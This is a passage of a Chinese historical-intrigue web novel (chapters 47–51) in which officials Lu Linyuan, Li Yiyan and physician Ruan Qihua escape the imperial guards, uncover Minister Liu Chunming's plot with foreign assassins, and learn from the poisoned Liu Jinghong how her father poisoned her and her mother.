但他显然更想要她活下来。
他咬住牙,嘱咐阮绮华一定趴好,然后毅然决然抬起身,将自己毫不保留地暴露了出来。
绯色的衣袍被风吹得猎猎作响,脊背在风中微微晃动,但冷白的脸上是岿然不动的认真。
墨色的瞳孔倒映着面前的一切,他看着举着火把与弓箭的追兵怒骂着跑上前来,右手微微抬起,手中
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的袖箭正要对准最前的杜阳......但对方脚下一拐,并不是冲着他。
是的,以统领为首,被劈头盖脸骂了半刻钟的各位御林军已经完全脱离了对完成任务的渴望。
所有人都红着眼钉死了一个共同目标:把那个满嘴喷粪的李一彦扎成筛子串成串。
最好是用箭将他的嘴缝上!
对于复仇的信念感是远远超过一切的。众御林军咬着牙死死盯住李一彦。
甚至在眼见着要接近船只的时候,奇异地都往船尾的李一彦冲了过去,完全忽视了近在咫尺的靠近船头的阮绮华与陆临渊。
事实上他们都不一定知道这两位突然冒出来的帮手是谁。
但万众瞩目的焦点,李一彦,却丝毫没有将他嚣张的气焰消减半分,被河水打得凌乱的发丝被他稀里糊涂往后猛撸一把,露出光滑的脑门与上扬的剑眉,御林军凑近的脚步让他不退反进:“背叛家国的通敌走狗,御林军真是欠管教!”
“我要是你们,根本就没脸挂着腰间的令牌!直接一个猛子扎到河里淹死算了!”
“少放屁了!!!”
比先前任何一次都要猛烈的箭雨扑面而来,黑压压的一片,几乎让人看不见躲避的空子,在阮绮华看过去的视线中,李一彦嚣张站立的身影几乎被密密麻麻的箭矢吞没——“不!”
阮绮华忍不住本能地开口惊呼,河水再一次翻涌滚来,快速拍打在船只与河岸的石滩上,溅起足足一人多高的冰凉水幕。
巨大的水声足以淹没这艘单薄的小舟。
阮绮华与陆临渊被迫将脸转向甲板。
冰凉的水珠将他们完全覆盖,她几乎可以嗅见河水中泥沙的气味。
但意料之中的结局并没有到来,河水浅浅地漫上了他们紧贴甲板的鼻尖,水位却没有继续上涨,反而很快停住褪去。
周遭突然急速变化起来,火把的光亮与御林军怒骂的嘈杂不断远去,水浪拍打木板时沉闷的拍击声与呼啸的风声让他们猛然朝四周看过去——
这一叶单薄的木舟竟然在颠簸又快速地向原定路线行驶?!
地痞流氓,嚣张欠扎的李一彦在船尾瘫成一滩人形液体。若是御林军能看到这一幕,应当会非常遗憾。
这一滩人形液体不仅仅没有被扎成筛子,起伏的胸膛和狗一样剧烈喘息的声音昭示着他的状态——身体疲惫,但心里还很兴奋。
阮绮华几乎是瞪着凤眼扑过去的,李一彦再敏捷,那样密集的箭雨,也绝无可能完美躲过。
那这这这......她定睛一看,待看清了面前的情状后,更加疑惑了。
李一彦胸口的衣服分明已经破破烂烂扎了好几个窟窿,身边也有掉落的箭矢,可是他为何,为何没有受伤还好端端地在喘气??
她求助性地看向身后的陆临渊,对方罕见地挑起一边眉毛,越过她的视线,对李一彦露出一个有些意味深长的微笑。
这是何意?
李一彦见此,嘿嘿一笑,也不喘了,坐起来有些不好意思地指了指胸前的破洞......
月光下,她终于看清,那里露出来一块金属色的光......
“阮姑娘您别笑话我哈,我这人有点胆小,所以追出来之前先穿上了陆大人库房里的软甲......”
48. 攒老婆本
河水翻滚奔腾,小舟上的三人随涌动的波涛一路向北。
城北,金诚当铺门外。
昏暗的小巷中,一个身影鬼鬼祟祟伸出手。
“笃笃——”
“不是,什么时辰了,老严怎么还歇着呢?”李一彦一边敲门,一边忍不住地往周遭望。
他现在可是御林军的重点关照对象,看到了不该看的东西,还当着面挑衅完溜之大吉,以他对杜阳那小子的了解,对方现在必定满京城逮他呢。
这破门再不开,他就要被抓去穿成胡人的烤肉了。
因为紧张,手下的力气不免大了几分。
“吱呀——”
当铺的门被推开,里边黑漆漆地没点灯。
一个瘦小的小老头冷不丁地探出头来,他手上差点没守住力气,邦地一下正好敲在老头光滑的脑门上。
中间白一圈红的印记登时出现,李一彦第一次有些痛恨自己过于良好的暗中视物能力。
嘶......
那老头面无表情地抬头瞥他一眼,在确认他的身份后,毫不犹豫地将头缩了回去,退后一步抬手要关门。
“严先生。”
陆临渊叹口气,在小老头合上门之前,从李一彦身后迈出一步,出声叫停。
“?!”
小老头的眼睛一下圆瞪起来,低声道:“快进来,快进来。”
三人进门,被称作严先生的小老头低声招呼他们先进,然后自己警觉地朝门外望了望,确认没人以后,关门落锁一气呵成。
穿过当铺外间,奔波一夜的几人终于落了坐。严叔给几人添上茶水:“大人,您怎么来了?”
“御林军正在追杀我们。严叔,请唤婶子来,李一彦与这位姑娘都受了伤,需要休整一下。”
“诶,诶好嘞。”听到有人追杀,严叔没有太大反应,但听到后半段,他忙不迭点头。
片刻,严婶便提着药箱匆匆赶了过来,“......陆大人,是先给哪位包扎啊?”
哪位?
阮绮华显然没反应过来自己还是个重伤未愈的病患,她的视线在陆临渊身上逡巡。
但严婶的脚步已经停在了她面前,“这位姑娘的脸色太差了,老身还是先给姑娘瞧瞧。李副使一个大小伙子,一点皮外伤,忍忍得了。”
说罢,不由分说地便拉着阮绮华起了身。完全不顾她的欲言又止——事实上她自己就能医。
屋内只剩下陆、李二人。
人一走,李一彦当即按耐不住,今夜的发现太过震撼,那样大量的胡人刺客留在京城,大雍的头顶几乎是悬了一把泛着寒光的尖刀。“大人,今夜的事情......”
他一五一十地将今夜的所见所闻,事无巨细地同陆临渊汇报了一遍。
“......所以说,那样大批量的胡人聚集在京郊,柳家这是要有大动作啊!”
“嗯,你猜的不错。今夜柳春明带着钦天监入宫求见,提出若是想镇压京城乱象,免得大雍天灾,要做活人祭。”
“活,活人祭?!”这什么歪门邪道的?景仁帝要是真应下了,但凡传出去,哪怕将理由得再天花乱坠,也必定会寒了前朝臣子的心,外头的百姓更会觉得皇室昏庸,皇帝残暴不仁,他家大人这些年来对皇室的维护基本毁于一旦!
若钦天监说的仅是胡诌,没有什么天灾人祸,景仁帝还能在位子上坐住,但若是做了活人祭,还是出现了天灾......
那等待景仁帝的,将只有一条路可以走——罪己诏。
向天下人昭告自己的罪孽,祈求原谅。
但只有三岁小儿才会相信这样就能解决问题。历朝历代的史书只会告诉他,罪己诏就相当于板上钉钉的一纸罪状,立下罪己诏后每一方势力讨伐皇室的行为,都将披上为民除害,起义的皮。
李一彦的瞳孔抑制不住地震颤,所以他今夜发现的,便是柳春明早已埋伏好的人祸?
“是,你想的没错。”陆临渊肯定了他的猜测。“但活人祭的事被拦下了,借了你的光,柳春明以为京郊胡人窝点的事情暴露,乱了阵脚。祭天改为了礼佛。”
“但京郊的胡人还未清除,那样多训练有素的刺客,简直可以抵御一整支军队!幸好宋濂归朝时,带了一部分宋家军驻扎在京城外,以宋家军来抗衡,应当还是有几分胜算......只可惜宋将军的身体不如从前了.......不过若是再加上皇室的御林军倒是......”李一彦的絮叨突然顿住了。什么东西突然哽住了他的咽喉,死死挡住了他要说的话。
没有倒是了,御林军,已经倒戈了。
他闭了闭眼,再度开口时,脸上已经全然是凝重之色——“御林军统领反水,大理寺的人还得抽一部分保护柳惊鸿。柳春明如今,占尽了上风。也就是说,他们甚至有可能直接破坏礼佛?!”
“见鬼,该死的杜阳到底图那老头子什么?他是缺钱了还是缺地位?”
“按理说在宫里干活的月银也不低呀,之前他当小兵的时候都抵得上大理寺的小管事,怎么当了统领还越活越回去了呢.......难不成景仁帝也扣月银?!”
“嘶那他反得也不无道理哦......一把年纪了还没娶亲,长相又不如我李某人好看,可不得攒些老婆本......您说柳春明富得流油,说不定金钱收买这种腌臜事还真干得出来......”
——
皇宫,东暖阁。
“啪——”
“你可知你在说些什么?你这个疯女人!”
身着明黄龙袍的年轻帝王唇线紧抿,冯保察觉到气氛的剑拔弩张,迈着碎步静默地退至屋外,木门发出细微的一声响。
仿佛听到什么极为荒谬可笑至极的笑话,景仁帝抬起指向容妃的手指微微颤抖。
“你竟敢编排皇后?!”
“实话罢了,您没听清吗?臣妾方才说的是,臣妾什么事都不知道,臣妾不知道统领是怎能突破宫中重重阻碍,跑到我床上与我翻云覆雨,也不知道为何他会同我说,言皇后的床榻,没有臣妾床榻软。”
跪坐在地,满头点翠的华服女子眼圈通红,下巴却高高昂起,纤细的脖颈在宽大宫袍的衣领中扬起高傲的曲线——那是脆弱美艳的孔雀。
瓷盏在她脚边破解,但她的跪姿却连
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偏移都不曾,往日没骨头似的纤细腰肢仿佛被什么无形的力量强行扶正。狭长的双目毫不畏惧地仰视对望——这是无声的挑衅。
“一派胡言!身为宫妃,你污蔑皇后,你干涉朝政,与前朝结党,策反朕的御林军统领,你说,你到底想干什么?!”
“你最好现在便说出柳春明和杜阳将胡人藏在了何处,将你们造下的孽,知道的东西桩桩件件说清楚,协助叛国,朕倒要看看你究竟有几个脑袋够朕砍的!”
暖阁的热水凝结成冰,景仁帝的眼神中燃烧着火苗。
咬牙切齿的声音在室内响彻,但女人却充耳不闻。眉眼扬起的弧度没有半分变化,甚至嘴角讥诮的笑容,还在扩大。
“皇上听不清吗?臣妾的意思是,您大可以杀了臣妾,但臣妾向您保证,您的御林军,将会在不久之后,把您送下来与我作伴的。”
什么情况下,一个男人会冒天下之大不韪,赌上自己的生命也要为另一个女人报仇呢?
很简单,这女人是他的亲人,或者他的爱人。
没人会跟自己的亲人滚到一张塌上的。
事情已经很明显,他只是没想到杜阳对容妃的感情已经深到这种程度。
甚至已经成为了容妃的底气。
他半分都不相信言清会与杜阳有染,方才容妃的话,只是为了激怒他。
景仁帝闭了闭眼,再度睁眼时,神色已经恢复如常。帝王的威严从他身上散发,他重新坐上了那张宝座。
“倘若朕不杀你呢?”
“朕知道柳春明许了你好处,那么现在,朕也想跟你谈笔交易。”
——
金诚当铺。
“不管他是缺什么,眼下最要紧的是,将胡人一并捉拿了。”
“你休整得如何?我见你生龙活虎还有精力算月银,不如也莫要包扎了,喝点茶水直接带人去吧!”
事不宜迟,李一彦自然知晓,但他不是铁打的,肩窝的伤还在隐隐作痛,阮姑娘只给了他治伤的药,可没给他麻沸散,他这样去,也是怕耽误了行动不是。
他如是说道。
“哼!”陆临渊意味不明地冷哼一声。
他的眼角微微抬起,冷眼扫视一眼李一彦肩膀的伤处,仿佛看到什么让他烦心的脏东西一般,又很快挪开了视线。
“没想到你平日练武如此不上心,轻易就被胡人抓住,最后连累阮姑娘受着伤,单枪匹马赶过来救你。无用至此,若是耽误了正事,你还是提头来见吧!”
嘶......李一彦的脸色灰败。
果然,不管是得罪了真皇后还是陆大人这位“阮皇后”,该来的惩罚总归是少不了的。
起码跟冯公公比,他得罪“阮皇后”不用被拉出去午门斩首。
他如是安慰自己。
“柳家的人今夜不会再对阮家有威胁,我稍后便会启程,亲自去守着。你带人进山连夜搜寻,若是不够,可去找宋濂要人。与其等着杜阳来找你,不如你主动将胡人给包圆了。”
“是,大人,我这就去!”
李一彦的身影翻出窗外。
转瞬消失不见。
49. 坦诚相待
“你看看你,年纪轻轻花一样美丽的小姑娘。怎的把自己折腾得这般虚弱,我老婆子可跟你说啊......”
“女子的身子可没有李副使他们耐折腾,你可莫要跟着陆大人风里来雨里去的,自己的身子才是最要紧的。陆大人也真是......都不保护好。”
什么不保护好?
阮绮华有些无奈地看着严婶忙前忙后同她絮叨,她怎能不清楚她自己的状态,不过是重伤未愈并上奔波一夜的劳碌导致的体虚罢了。
一碗热汤下去,她的脸色已经好了许多。
“严婶,您跟随大人许久了吗?”
“嗯......有些年头了。”方才还滔滔不绝的严婶突然含糊了起来。她这边打听陆大人的话音刚落,在门外守着的严叔也敲了敲门。
“老婆子,上好药了吗?两位大人还等着呢!”
严叔压着声在外催促。
严婶脸上一副如梦初醒的模样,方才端着的汤碗匆匆放下,对阮绮华道:“哎呀,我老婆子年纪大了就是絮絮叨叨的,差点忘了正事。”
阮绮华顺势起身,笑得善解人意:“那便走吧。”
她哪能不知道,这对夫妇有多小心。
关心她是真的,但从刚刚开门的动作就能看出来,严叔是个谨小慎微的性子。
自己虽说是陆大人与李大人亲自领着过来的,但这并不意味着自己可以随意打听他们与陆大人的事情。
嘴严是好事。
阮绮华走在严婶身后,默不作声地想。
“啊呀,李大人怎么又溜了。两位大人也真是的,一个怕疼一个怕苦。真是不知你们是怎么在刀口上行走那么多年的。”
严婶一打眼看完屋内,嘴上便一连串地絮叨起来,一边说一边就差把手里提着的医药箱给扔了。
“每次都是这样,陆大人您也得说说他,年纪轻轻把身体熬坏了,等到上了年纪,那个旧伤啊,从骨头缝里就冒出来,阴雨天疼的哟......您也是,您自己在这上面吃的苦头还不够多吗.......”
“好了严婶,我会督促他的。您先下去吧。”
一种被称为麻木的情绪涌上了陆临渊的心头,这么多年了,严婶嘴不严实的毛病还没有改过来吗?
而阮绮华已经敏锐地捕捉到了严婶话中的重点。
陆大人,怕苦?
她有些怀疑地翻找起自己脑海中的画面......怪不得她每次去陆家送药,陆大人总是一副视死如归的模样......
“阮姑娘,胡人的事情马虎不得,李副使已经前去召集人马,力求连夜将胡人捉拿审问。”
“若是方便的话,可否跟我说说,今夜你为何会出现在京郊呢?”
“你又是如何得知,我会过来呢?”
...
一个时辰前,京城西郊。
山林一片静默,像默不作声张大嘴等待猎物入口的巨兽。
远处的火光在一处定格,陆临渊很清楚,那想必就是胡人的老巢。
可阮绮华在哪呢?她们被御林军遇上了吗?
若是没有,山路崎岖,若是循着御林军的脚步走,是否会与他们错过?
心急之下,无数疑问在头脑中揉成一团线圈。月光皎洁明亮,却照不亮前路。
不能这样坐以待毙下去,他翻身下马,只身走进黑暗。当黑暗裹住他周身,即将将他吞没,他不可抑制地冒出一个想法:阮姑娘当时,也是这般被深不见底地暗色包裹的吗?
她会害怕吗?
一旦出现这个念头,胸口处便生出隐隐约约的疼痛来。为何要将她牵扯进来呢?
她那样单纯美好,那样鲜活......又那样聪明。
对,她不是会轻易放弃,做事莽撞的人。在青雀舫身中药物,目不能视的情况下,她也拼尽全力给自己拼出了一条生路。
她不会做毫无准备的蠢事才对。
陆临渊正色起来,经年累月办案的经验让他开始四处搜寻阮绮华可能留下的线索。
人在要踏进危险之处时,会本能地做出一些举措,为自己留下退路。
他一定遗漏了什么。
在进山口的这片空地上,周遭安静得可怕。
他扫视一圈,地上的脚印杂乱无章,昭示着半个时辰以前追兵的急切。那么再往前呢?
再往前,是阮绮华骑着马冲向身陷囹圄的李一彦。
等等。
月光洒落在空地,褐色的高大马儿被他拴在他树下。
等等,那阮绮华骑过来的马匹呢?!
难不成她不是从此处上山的?
陆临渊开始用目光仔细搜索每一寸土地,感谢雨后尚且湿润的泥土,让新鲜的马蹄印在地上有迹可循。
顺着马蹄印走......
果然!刚走没两步,他便发现了不对劲——左前方的树下,似乎有什么东西在闪光。
夜色下,珠翠折射出月光,静静躺在草丛。南珠与玛瑙冷艳耀眼,那是阮绮华的发钗!
心跳猛地加速,他快步走去,将它拾起。
没错,这定是阮绮华留下的线索。
陆临渊心思一动,发钗去的那个方向......
是阮绮华第一次进京,他去接她的渡口。
...
“为什么你会知道,来支援的人是我?”
“按照你留下的线索,来人要了解宫廷围猎之处周遭的地形,还要知晓那个渡口,这几个条件叠起来......阮姑娘,恕陆某直言,除了我,整个京城,乃至整个大雍,怕是都寻不出除我之外的第二人。”
陆大人平淡惯了的语调微微有些上扬,他极少这样狂妄地说话,什么全大雍唯一一人之类的头衔。
但即便他已经极力保持平静,挑起的一侧眉稍和眼尾的弧度还是出卖了他。
侵略者不清楚他的眼神有多么富有侵略性。
只有猎物是知晓的。
严叔夫妇熄了灯,外头没有动静,不知他们是否已经歇下。
阮绮华斟酌了半晌,有些凝重地直视过去:“因为御林军的反叛。今夜阮氏遇袭,来人受柳如霜的指示,要灭掉柳惊鸿。危机之下御林军救了我们,但后来我发现,所谓的救援不过是柳春明与柳如霜利益相左后,产生的意外之举。”
“御林军收到你的指示,要保住李副使。但他们先来完成了柳春明的任务,时间上必定会有拖延。李副使极有可能遇到危险。当然,这也是他们想要的结果。”
“只有我追上去,不论解救成功与否,你都会通过大理寺的人了解到金吾卫的反叛。”
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追上去,有机会及时救下李副使,若是不能,我被金吾卫一并灭了口,那我相信你一定能由此怀疑到他们的反叛。
真挚的目光从少女眼中投过来,陆临渊几乎要被这样滚烫的信任烫伤。
他突然觉得自己在少女面前变得低俗。
他渴望得到她的欢喜,哪怕是一点点的好感,他都会在心中开出满室的花朵。
但他何德何能担得起这样美好的人的信任?
他忍不住挪开了目光,方才的骄傲自得变成了劫后余生的庆幸。
还好,他来了。
还好,他赶上了。
“关于柳惊鸿的事情,我有些猜测,想要与你说。今夜的情况,柳如霜是明确想杀人灭口的,这一点,从柳惊鸿身上的伤也不难发现——有好几处伤,都是在致命处。但柳家真正的话事人,柳春明,却不惜暴露御林军这个暗桩,也要力保柳惊鸿的命,我怀疑柳惊鸿身上还有别的秘密。”
阮绮华顿了顿,似乎在捋清自己的思路,片刻后,她接着正色道:“上一次,你曾提过,柳如霜的母亲,是通房上位。原配元氏,在她上位后便已经去世。”
“那么你可知晓,元氏的死因?”
“这个,京中虽有传闻,元氏是冬季感染风寒去世,但据我所知,元氏的身子不算孱弱,临走时的状态,更像是中了”毒。
最后的字眼被他吞入了腹中,电光火石之间,有什么在他脑海中一闪而过。
“是寒毒。”阮绮华直视着男人的眼睛:“这种毒素难以察觉,初期症状与风寒相似,中晚期甚至会使得脉象有反常的强健。那是毒素侵入血脉,流向四肢百骸,刺激身心的后果。”
“她是我猜测的,第一位寒毒受害人。”
阮绮华没有接着说,他们彼此都很清楚,谁是她见过的,前两位被下毒的人。
“所以......柳惊鸿可以被百般折磨,却又在经受了数次致命伤后还能勉强活下来,是因为......她作为我的药人吗?”
陆临渊对留存在自己身上的毒素隐隐有意识,也一早便清楚,柳惊鸿在柳府的特殊地位。
但他从前只是想到,或许是元氏与柳春明做了各种交易,让出自己的位子,只求保全她在这世上的唯一血脉。
但他从未将柳惊鸿求死不能的另一方面原因与自己建立联系。
原来如此,为了便于观察他的毒发情况,所以柳惊鸿不能因为别的因素,死在他前面。
阮绮华的声音中充斥着艰涩。
她也是今夜才想通这一点,当她听见杜阳与刺客头子的对话时,这个念头从她的脑海中渐渐浮现。直到她将这个猜测说出。她才真切地意识到柳春明的狠辣——
不单单是宠妾灭妻,这个男人,大概是没有心的。所有人于他而言,都只是垫脚石,保住柳惊鸿的命,不是因为她是原配妻子的唯一血脉,而是因为,她作为药人的价值。
寒气从角落森然升起,细小的鸡皮疙瘩攀上了二人裸露在外的肌肤。
“呼——”半晌,屋内响起轻声叹息。
片刻后,陆临渊将钦天监与柳春明的阴谋告简要告知了阮绮华。
......
“回府歇息吧。这几天恐怕还要有一场硬仗要打。”
一架简陋的马车从当铺缓缓驶出。
50. 苏醒
翌日早朝。
......
“众位爱卿可有本奏?”景仁帝眼下有明显的青黑。
“皇上,臣有本奏。”
——是身着青色白鹇袍的钦天监监正。
“哦?礼佛的日子这么快就掐算好了?”景仁帝抬眉,似笑非笑地看向下面的人。
“......回皇上,臣,连夜测算的吉时。”
“哼。”他不咸不淡地轻哼一声,双手交叠起来,置于膝上。“真是辛苦了,说吧,算的何时。”
算字加了重音?
难不成里面有故事。乖觉如赵尚书,已经意识到了他话中的不对,圆润的肚子与眼珠同时朝钦天监监正侧过去。
“皇上,除去灾厄乃是逆天命而行,昨夜过后钦天监上下夜不能寐。一致推定,若能在本月十三卯时一刻,在阳气与龙气交融之下,让祭祀的青烟升起指向中州的方向,可佑我大雍。”
“行了,后日卯时一刻西山寺礼佛是吧?朕知道了。”
“皇上!”
“不必多说,其余众位卿家可还有事情启奏?无事便早些退下吧,朕近些日子睡得不好,若非急事,就不要半夜来宫里打扰朕了。”
景仁帝单手撑着头,一脸疲倦地摆摆手,赶蝇虫似的就开始赶人。
他的动作太过不耐烦,嫌弃的神色溢于言表。
钦天监监正张圆了嘴,还想再说些什么,景仁帝已经在冯保的高声和宋濂那个大嗓门的恭送下,利落离开。
......
抑制不住地,监正伸手按上突突跳起的额角。
有人凑近了他,低声问询:“监正大人,今日这是?”
他哪有心思回复,昨夜冯保将他与柳春明一并送出宫后,柳春明一句话都没来得及同他交代便匆匆上了他的马车。
今日早朝,柳大人更是好巧不巧的跟陆临渊一同称病缺席。
他主动提起礼佛的事端,就是为了再努力一下。谁知这景仁帝长大了,也不是个好糊弄的。
一副滚刀肉的样子,简直跟陆临渊学了一肚子的黑心肝。
呸!
监正忍不住磨磨后槽牙,臭着脸侧过身往外走。显然是不打算同赵尚书解释的意思。但赵尚书何人?官场打滚二十余年的资深老油条,那可是石头拦路也得给对面磨穿孔了留出缝隙挤过去的主。
“监正大人莫不是因为大雍的国事着急起来了吧?可莫要因此跟皇上生出嫌隙。皇上今日早朝哈欠连天的,可见烦心事不少,监正此时可不敢同皇上闹心。”赵尚书用手托着肚子,跟在监正身后踮着脚迈过金銮殿门槛。
除了金銮殿守卫的看管范围,赵尚书突然凑近,压低了声音对钦天监监正道:“听说近些日子皇城混入了些胡人刺客,给百姓们造成了不少麻烦。就躲在西山那片儿,昨夜皇上派人去追剿,居然还没找着。那么老些刺客,悬在天子头顶,他哪能放心得下?这不今早你一提,皇上就想起这事了,祈福的事儿丢到了西山寺。”
“我看祈福是真,亲自去剿刺客也不能假吧!”
赵尚书一番话仿佛惊雷在钦天监监正耳边炸响。
“你说什么?京城出现胡人?!”
他的脑海中嗡地一声振响,因不耐而眯起的双眼忽地瞪大。
难怪啊,难怪。
难怪昨天柳春明那老狐狸失态到气结,当场离开。他敢断定,西郊胡人窝点的事情与柳家必脱不了干系。
原来柳春明找他合作时一直不肯说的后手就是这个......
监正想起那日柳春明信誓旦旦的许诺,心中先是欣喜,欣喜在胡人助力下他们的赢面会大上许多,再是庆幸——
幸好,他按照原定计划,将日子定在了后日。
事到如今,只期望在这短短的二十四个时辰内,那帮边境的老鼠能够藏的深些......
...
乌衣巷,阮府。
四下无人,男人单手撑墙,一个纵身跃下,熟门熟路翻进了阮家小姐院中。
男子与未出阁的小姐私会,本该是不合礼数,但推门出来的丫鬟却不觉得有丝毫不妥,反而似乎等了许久似的,在见到他来的第一眼,便急匆匆将准备已久的手炉塞到他手上,一边将人迎进屋。
“陆大人,您可算来了,小姐等您许久了。”
“嗯,辛苦你了。”陆临渊拢了拢外衫,接过春桃手中的暖炉。
入冬才不久,但自己愈发畏寒了。
也不知能否在凛冬彻底来临之前,将危机完全解除。
若是可以的话,下一个春季,他想去趟江南。
他轻轻甩掉脑海中不着边际的画面,“笃笃”两声后,推门走进里屋。
“吱呀——”
室内安静,落针可闻。窗户将不停歇的寒风隔绝在外,暖融的气息在屋内流淌。
“阮”姑娘
“嘘——”
陆临渊进来时,少女坐在罗汉塌上侧面对着他,怀里搂着柳惊鸿。
听到他推门进来的声音,阮绮华没有抬眸,只是轻轻颔首,然后用手指轻轻按压在唇边,示意他先勿要开口——莫要惊扰了她怀里的人。
顺着她的动作一眼看过去,她怀中女子的面色依旧苍白,但细看下来,眼睫似乎有了轻微的颤抖。
陆临渊心中隐隐有了想法,但并不敢肯定。说不清道不明的复杂情绪从心底涌上,让他脚下如同生根一般,不敢走上前确认。
直到阮绮华朝他招手,示意他走近些。
陆临渊才定了定神,顺从地向前。
他只是有些话同阮绮华交代,不会太久,也许柳惊鸿只是伤情有了好转,不会当即醒来呢?
男人径直走到阮绮华身前,面色如常。
他以为自己掩饰得很好。
“大人,您可以同她说话,她听得懂。”
不......不会如此凑巧吧??
陆大人有些僵硬地转过脸去。而阮绮华努努嘴,强行压住嘴角的笑意。
视线交汇,柳惊鸿的双眼澄澈如水。
那双眼里有虚弱和痛楚,却分明,没有半分怨怼。
半晌,陆临渊抿唇,充满歉意地向柳惊鸿拱手,他道:“柳姑娘,我知你经受了太多苦痛,甚至这之中有部分是柳大人为了针对我,而阴差阳错让你遭的折磨,陆临渊在此,向你”赔礼了。
一只干枯发黄的手颤抖着伸到他
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面前,打断了他即将说出口的歉疚。
柳惊鸿被伤痛折磨得太过瘦弱了,她几乎只剩下一把干柴。随着她的动作,她的袖口往下落了一大截,露出来枯黄的小臂。
上面的伤痕新旧交错。
连见惯诏狱里死囚受刑惨状的陆临渊不忍多看,这样瘦弱的一个女子,遭受了这样多的折磨,甚至还要因为他而饱受寒毒之苦。
“她的意思是,不应该怪你,而要怪柳春明。大人莫要过于愧疚。”
阮绮华开口。
实际上,柳惊鸿昨夜便醒了。大概是太担心自己能否活到再次醒来,于是当夜她看到阮绮华的第一件事,便是磕磕绊绊比划着,要将自己知道的柳家密辛和盘托出。
“她现在的情况还很不平稳,身子亏损太重,大部分时间仍要沉睡。”
“今日是她想见你,亲自告诉你,不必为她感到内疚,她只希望你根除柳春明这颗毒瘤,替她与她娘亲复仇。”
柳惊鸿七岁时,便知晓自己的父亲在府外养了个外室。
对此,她并不意外。
她的母亲在生下她之后,身子便亏损得厉害,无法再生育。
而她的父亲,是连中三元,一路飞升的朝堂红人,年纪轻轻便手握重权。
不可能不求个儿子的。
所以七岁的她在知道自己父亲养了外室的消息时并不意外,反倒有一股压抑在心底的猜测终于实现的舒畅感。
终于。
平心而论,她并不反对,也并不意外。当朝官员大多妻妾成群,子嗣众多。他们总是从众多的子嗣中挑选培养最有潜力,最有能力帮助家族的一个。
像她父亲这般的重臣膝下却只有她一个女儿,才是异类。
她这个脾气暴的女儿都不反对,她娘这个软性子正牌夫人便更不可能有异议了。
只是,为何父亲不将人带回府里呢?
这个疑问直到她十岁生辰那日,终于得以解答——
因为他爹的好外室,子嗣艰难。在他们好上的第三年,才终于大着肚子耀武扬威的上了门。
......只可惜,生下的还是女儿。
也只能生这一个女儿了。
柳惊鸿在漆黑的柴房啃着馊馒头的时候想过,若是姨娘生下的是一个儿子,她的阿娘是否就不用死了?
因为自己是女儿,没法跟姨娘的儿子抢东西的。阿娘也不在乎所谓的正妻之位。
但是没有这种可能,柳如霜确实是她的妹妹。
苦咸的泪水混着馊馒头,也算是有些滋味。她就这样就着眼泪吃下了一顿一顿的馊馒头。
直到柳春明第一次走进柴房,发出那种震惊的表情,然后关心她,让人带她沐浴,给她吃饭。
她太久没有吃过那样的佳肴,很想大快朵颐,但她忍住了。她以为她的父亲终于想起了被姨娘关起来的她,所以希望自己表现得好一些,再好一些,像个官家小姐一些。
但没有然后了,用过膳的她很快便晕了过去。
再次醒来还是在冰冷的,柴房的地面。
直到很久以后,在无数个痛不欲生的阴雨天,她才后知后觉地意识到,那顿饭,应当只是淬了毒的糖块。
51. 宋臻的请求
“......这样说来。”陆临渊终于舍得将视线从阮绮华身上挪开。转向柳惊鸿沉浸的面容。
“你我二人身上的毒,都是柳春明下的。可据我所知,柳大人是土生土长的京城人士,为官多年未曾踏足淮南,他的身边人——你的母亲元氏,以及柳如霜的生母,也都是北方人士。他是如何接触到这样诡秘的毒素的呢?”
汗液打湿了女子的长发,她面颊上的伤口经过悉心照料,已经变成温和的肉粉色,寒毒留下的印记如蛛网一般从薄薄的皮肉里透出来——触目惊心的紫色。
但柳惊鸿的眼瞳总是黑而亮的,像盛满了盈盈一汪水,被她注视时总是有一种错觉,让人觉得自己也被温水包裹着。
她好像从没有经历过苦难,即便她现在连抬手比划都困难。
【柳夫人出身......,友人来自淮南。】
“什么?”陆临渊没有会意,他疑惑地看向阮绮华。
但不用问,答案在下一瞬已经从她惊讶的反问中显露,“青楼?!柳如霜的母亲怎会出身于”青楼。
后两个字没有说出口,阮绮华突然噤了声。她好像明白了什么,偏头与陆临渊对视。
视线交汇的瞬间,他们都想到了同一件事情——那就是为何这么多年过去,即便元氏已经去世,柳如霜的母亲掌权多年还是未能转为真正的尚书夫人。
时间回溯,天南海北的女子汇聚到青楼,十几岁的柳夫人在三教九流手底下讨生活,被柳春明救下赎身,因为记挂他的恩情,成为他的外室。后来怀上了柳如霜,因为嫉妒想要挤掉上位,以自己从楼里学来的下毒手段与柳春明交换。
元氏出身高门,受着礼法的规训,如何斗得过手腕颇多的新夫人。
于是后院的女人为了一方狭小的空间削尖脑袋互相争斗,风暴中心的男人坐享渔翁之利。
最后柳春明一面维护着缅怀亡妻的名声,一面享受着外室替他扳倒最大的政敌。
——真是令人不齿的好福气。
【若你们不信,可去柳家书房搜寻下毒的罪证。】
【扭动书房珍宝架的第二层的花瓶,可打开一处密室,这些年他下毒和通外族的罪证应当都在里面。】
他们无从得知柳惊鸿被禁锢多年,是如何得知柳春明的罪证藏匿之地的。
但当柳惊鸿透亮如水的眼眸点在人身上,应当没有人会怀疑她的真心。
“他是你的父亲,你当真要大义灭亲?”这样的话已不必再说,他们都再清楚不过,柳惊鸿身上,不,整个柳家两代女子的苦难,都是由她的父亲带来。
将他的父亲送进地狱,大概是她屏住呼吸一步一步爬到御前正街的唯一目的。
日光惨白着照进窗户,冬日的阳光没有温度,却冥冥中让柳惊鸿觉得有些温暖。
她满足地再次陷入了沉睡。
——
“吱呀——”
陆临渊轻轻带上门,跟随阮绮华去了外间。
“昨夜李一彦去搜寻,胡人果然已经转移了。”陆临渊开门见山。
“你早知道胡人要跑?这么快?”阮绮华有些惊讶,看陆临渊的神情,似乎并不意外。可她是亲自深入过胡人巢穴的,她知道那样数量的胡人要想做到迅速转移,并且躲过金吾卫的搜查,几无可能。
但事实如此,短短数个时辰之间,冒着青烟的白色帐篷便消失得无影无踪,连带着卷曲鬓发的高大胡人,和被她杀死的胡人尸体。
“从我逃出来到再次返回此地,至多不过两个时辰,这些胡人难不成还能插翅膀飞了?”
踩在空地上的李一彦不可置信地探头朝前望。
大大小小尖顶的冒着血腥气的白帐篷消失殆尽,山洞空旷得如同从未有人踏足过。
“你们相信我,不是,我真的在这处发现的!”李一彦反头,朝身后的女子委屈道。
但对方头都没抬,只顾着低头搜索,她的面前是被铺平的碎石。听见李一彦转头又跟其他金吾卫的弟兄抱怨,宋臻只能加重了语气:
“好了,我们都能理解你辛苦一夜,寻人心切,但事已至此。李副使,还是赶紧勘察一下有没有他们留下的蛛丝马迹吧。”
